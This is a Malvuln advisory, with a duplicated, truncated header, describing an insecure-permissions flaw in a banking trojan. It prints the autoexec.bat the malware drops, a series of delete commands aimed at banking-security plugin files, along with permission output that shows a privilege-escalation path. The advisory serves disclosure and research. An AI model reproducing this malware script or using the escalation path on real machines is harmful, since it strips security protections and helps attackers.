Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/f15d05f74899324ecb61ee29ad162fad.txt
Contact: malvuln13@gmail.com
Media: twitt Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/f15d05f74899324ecb61ee29ad162fad.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Banker.Win32.Banker.heq
Vulnerability: Insecure Permissions
Description: The malware writes a BAT script file with insecure permissions
to c drive granting change (C) permissions to the authenticated user group.
Standard users can rename the executable dropped by the malware to disable
it or replace it with their own executable. Then wait for a privileged user
to logon to the infected machine to potentially escalate privileges.
Family: Banker
Type: PE32
MD5: f15d05f74899324ecb61ee29ad162fad
Vuln ID: MVID-2022-0561
Disclosure: 04/26/2022

Exploit/PoC:
C:>cacls autoexec.bat
C:autoexec.bat BUILTINAdministrators:(ID)F
NT AUTHORITYSYSTEM:(ID)F
BUILTINUsers:(ID)R
NT AUTHORITYAuthenticated Users:(ID)C


C:>dir autoexec.bat
Volume in drive C has no label.

Directory of C:

04/13/2022 02:27 AM 636 autoexec.bat
1 File(s) 636 bytes


c:>type autoexec.bat

@echo off
del c:windowsdownlo~1ABN*.*
del c:windowsdownlo~1*ABN*.*
del c:windowsdownlo~1GBPDIST.DLL
del c:windowsdownlo~1scp*.*
del c:windowsdownlo~1gb*.*
del c:windowsdownlo~1*gb*.*
del c:windowsdownlo~1*UNI*.*
del c:windowsdownlo~1UNI*.*??
del c:WINDOWSsystem32Logof.dll
del c:arquiv~1GbPlugingb*.*
del c:arquiv~1GbPluging*.*
del c:windwossystem32snengine.exe
del c:windwossystem32snagos.exe
del c:arquiv~1Scpad*scp*.??
del c:arquiv~1Scpadscp*.*
del c:windowsdownlo~1ATM*.*
del c:windowsdownlo~1*ATM*.*
del c:arquiv~1Scpad*ssh*.*
del c:arquiv~1Scpad*ssh*.?


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).